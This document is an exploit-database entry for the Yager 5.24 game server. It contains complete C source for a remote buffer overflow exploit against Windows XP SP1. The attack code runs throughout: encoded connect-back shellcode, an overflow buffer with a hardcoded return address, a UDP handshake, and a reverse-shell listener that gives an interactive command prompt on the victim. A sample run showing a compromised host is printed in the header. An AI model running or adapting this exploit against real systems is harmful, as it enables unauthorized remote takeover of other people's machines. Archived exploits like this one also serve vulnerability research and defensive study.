Yager 5.24 - Remote Buffer Overflow

EDB-ID:

953


Platform:

Windows

Published:

2005-04-25

/*
 *
 * Yager <= 5.24 Remote Buffer Overflow Exploit
 *
 * cybertronic[at]gmx[dot]net
 * 04/25/2005
 *
 * send all the money to Luigi Auriemma
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ select target
 * --[ 0 [0xdeadc0de] crash server
 * --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]
 *  >> 1
 * --[ sending handshake [UDP]...done!
 * --[ reading server response [UDP]...done!
 * --[ server port: 1089
 * --[ connecting to 192.168.2.100:1089 [TCP]...done!
 * --[ exploiting WinXP Pro SP1 GER
 * --[ ret: 0x300686bd [ jmp esp in binkw32.dll ]
 * --[ exploiting packet overflow...
 * --[ sending packet...done!
 * --[ starting reverse handler [port: 1337]...done!
 * --[ incomming connection from:  192.168.2.100
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\Yager>
 *
 */


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT_UDP	34855

#define RED		"\E[31m\E[1m"
#define GREEN	"\E[32m\E[1m"
#define YELLOW	"\E[33m\E[1m"
#define BLUE	"\E[34m\E[1m"
#define NORMAL	"\E[m"

/*
 *
 * prototypes
 *
 */

int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, unsigned long ret );
int isip ( char *ip );
int send_handshake ( int s, struct sockaddr_in remote_addr );
int shell ( int s, char* tip, unsigned short cbport );

void header ();
void start_reverse_handler ( char* argv3 );

/*********************
 * Windows Shellcode *
 *********************/

/*
 * Type : connect back shellcode
 * Length: 316 bytes
 * CBIP : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */

unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";

/*
 *
 * structures
 *
 */

struct targets {
	int  num;
	unsigned long ret;
	char name[64];  
}
target[]= {
	{ 0, 0xdeadc0de, "crash server" },
	{ 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]" } //push esp in binkw32.dll
};

/*
 *
 * functions
 *
 */

int
exploit ( int s, unsigned long xoredcbip, unsigned short xoredcbport, unsigned long ret )
{
	int r;
	char buffer_pack[592];
	
	printf ( "--[ exploiting WinXP Pro SP1 GER\n" );
	printf ( "--[ ret: 0x%08x [ jmp esp in binkw32.dll ]\n", ret );

	memcpy ( &reverseshell[111], &xoredcbip, 4);
	memcpy ( &reverseshell[118], &xoredcbport, 2);

	r = ~time ( NULL ) & 0xffff;
	printf ( "--[ exploiting packet overflow...\n" );
	bzero ( &buffer_pack, sizeof ( buffer_pack ) );
	memset ( buffer_pack, 0x41, 268 );
	strncat ( buffer_pack, ( unsigned char* ) &ret, 4 );
	strncat ( buffer_pack, "\x41\x41\x41\x41", 4 ); //4 bytes padding
	memcpy ( buffer_pack + 276, reverseshell, sizeof ( reverseshell ) - 1 );
	buffer_pack[0] = 0x00;
	buffer_pack[1] = 0x00;
	buffer_pack[2] = 0x00;
	buffer_pack[3] = 0x00;
	buffer_pack[4] = 0x46; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
	buffer_pack[5] = 0x02; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
	buffer_pack[6] =   ( r & 0x00ff );
	buffer_pack[7] = ( ( r & 0xff00 ) >> 8 );
	buffer_pack[8] = 0x00;
	buffer_pack[9] = 0x00;
	printf ( "--[ sending packet..." );
	if ( write ( s, buffer_pack, sizeof ( buffer_pack )  ) <= 0 )
	{
		printf ( "failed!\n" );
		return ( 1 );
	}
	printf ( "done!\n" );
	return ( 0 );
}

int
isip ( char *ip )
{
	int a, b, c, d;
	
	if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
		return ( 0 );
	if ( a < 1 )
		return ( 0 );
	if ( a > 255 )
		return 0;
	if ( b < 0 )
		return 0;
	if ( b > 255 )
		return 0;
	if ( c < 0 )
		return 0;
	if ( c > 255 )
		return 0;
	if ( d < 0 )
		return 0;
	if ( d > 255 )
		return 0;
	return 1;
}

int
send_handshake ( int s, struct sockaddr_in remote_addr )
{
	char* p;
	char crap[23];
	char in[2048];
	unsigned short port;
	
	bzero ( &crap, sizeof ( crap ) );
	crap[0] = 0x59;
	crap[1] = 0x5f;
	crap[2] = 0x4e;
	crap[3] = 0x45;
	crap[4] = 0x54;
	crap[5] = 0x5f;
	crap[6] = 0x59;
	crap[7] = 0x41;
	crap[8] = 0x47;
	crap[9] = 0x45;
	crap[10] = 0x52;
	crap[11] = 0x5f;
	crap[12] = 0x43;
	crap[13] = 0x4c;
	crap[14] = 0x49;
	crap[15] = 0x45;
	crap[16] = 0x4e;
	crap[17] = 0x54;
	crap[18] = 0x00;
	*( u_short* ) ( crap + 19 ) = ~time ( NULL );
	crap[21] = 0x00;
	crap[22] = 0x00;
	printf ( "--[ sending handshake [UDP]..." );
	if ( sendto ( s, crap, sizeof ( crap ), 0, ( struct sockaddr* ) &remote_addr, sizeof ( remote_addr ) ) < 0 )
	{
		printf ( "failed!\n" );
		return ( 1 );
	}
	printf ( "done!\n" );
	printf ( "--[ reading server response [UDP]..." );
	bzero ( &in, sizeof ( in ) );
	if ( recvfrom ( s, in, sizeof ( in ) -1, 0, NULL, NULL ) < 0 )
	{
		printf ( "failed!\n" );
		return ( 1 );
	}
	printf ( "done!\n" );
	p = in + 19;
	port = ntohs ( *( u_short * ) p );
	printf ( "--[ server port: %d\n", port );
	return ( port );
}

int
shell ( int s, char* tip, unsigned short cbport )
{
	int n;
	char buffer[2048];
	fd_set fd_read;

	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

	FD_ZERO ( &fd_read );
	FD_SET ( s, &fd_read );
	FD_SET ( 0, &fd_read );

	while ( 1 )
	{
		FD_SET ( s, &fd_read );
		FD_SET ( 0, &fd_read );

		if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
			break;
		if ( FD_ISSET ( s, &fd_read ) )
		{
			if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
			if ( write ( 1, buffer, n ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
		}
		if ( FD_ISSET ( 0, &fd_read ) )
		{
			if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
			if ( send ( s, buffer, n, 0 ) < 0 )
			{
				printf ( "bye bye...\n" );
				return;
			}
		}
		usleep(10);
	}
}

void
header ()
{
	printf ( "              __              __                   _           \n" );
	printf ( "  _______  __/ /_  ___  _____/ /__________  ____  (_)____      \n" );
	printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/  \n" );
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__        \n" );
	printf ( "\\___/\\__, /_.___/\\___/_/   \\__/_/   \\____/_/ /_/_/\\___/  \n" );
	printf ( "    /____/                                                     \n\n" );
	printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}

void
start_reverse_handler ( char* argv3 )
{
	int s1, s2;
	unsigned short cbport;
	struct sockaddr_in cliaddr, servaddr;
	socklen_t clilen = sizeof ( cliaddr );

	sscanf ( argv3, "%u", &cbport );
	
	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( cbport );

	printf ( "--[ starting reverse handler [port: %u]...", cbport );
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
		printf ( "socket failed!\n" );
		exit ( 1 );
	}
	bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	if ( listen ( s1, 1 ) == -1 )
	{
		printf ( "listen failed!\n" );
		exit ( 1 );
	}
	printf ( "done!\n" );
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
	{
		printf ( "accept failed!\n" );
		exit ( 1 );
	}
	close ( s1 );
	printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
	shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
	close ( s2 );
}

int
main ( int argc, char* argv[] )
{
	int s1, s2, targ, i;
	unsigned long xoredcbip;
	unsigned short cbport, xoredcbport, port;
	struct sockaddr_in remote_addr;
	struct hostent* host_addr;

	if ( argc != 4 )
	{
		printf ( "Usage: %s <ip> <cbip> <cbport>\n", argv[0] );
		exit ( 1 );
	}
	system ( "clear" );
	header ();
	if ( !isip ( argv[1] ) )
	{
		printf ( "Invalid Target IP!\n" );
		exit ( 1 );
	}
	if ( !isip ( argv[2] ) )
	{
		printf ( "Invalid connect back IP!\n" );
		exit ( 1 );
	}
	printf("--[ select target\n");
	for ( i = 0; i < 2; i++ )
		printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret, target[i].name );
	printf ( " >> " );
	scanf ( "%d", &targ );
	if ( targ != 0 )
		if ( targ != 1 )
		{
			printf ( "--[ invalid target!\n" );
			exit ( 1 );
		}
	if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
	{
		fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
		exit ( 1 );
	}
	remote_addr.sin_family = AF_INET;
	remote_addr.sin_addr   = * ( ( struct in_addr * ) host_addr->h_addr );
	remote_addr.sin_port   = htons ( PORT_UDP );
	if ( ( s1 = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 )
    {
		printf ( "socket failed!\n" );
		exit ( 1 );
	}
	if ( ( port = send_handshake ( s1, remote_addr ) ) == 1 )
	{
		printf ( "handshake FAILED!\n" );
		exit ( 1 );
	}
	close ( s1 );
	if ( ( s2 = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
		printf ( "socket failed!\n" );
		exit ( 1 );
	}
	printf ( "--[ connecting to %s:%u [TCP]...", argv[1], port  );
	remote_addr.sin_port   = htons ( port );
	if ( connect ( s2, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
	{
		printf ( "failed!\n" );
		exit ( 1 );
	}
	printf ( "done!\n" );
	
	xoredcbip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;
	xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short ) 0x9999;

	if ( exploit ( s2, xoredcbip, xoredcbport, target[targ].ret ) == 1 )
	{
		printf ( "exploitation FAILED!\n" );
		exit ( 1 );
	}
	close ( s2 );
	start_reverse_handler ( argv[3] );
}

// milw0rm.com [2005-04-25]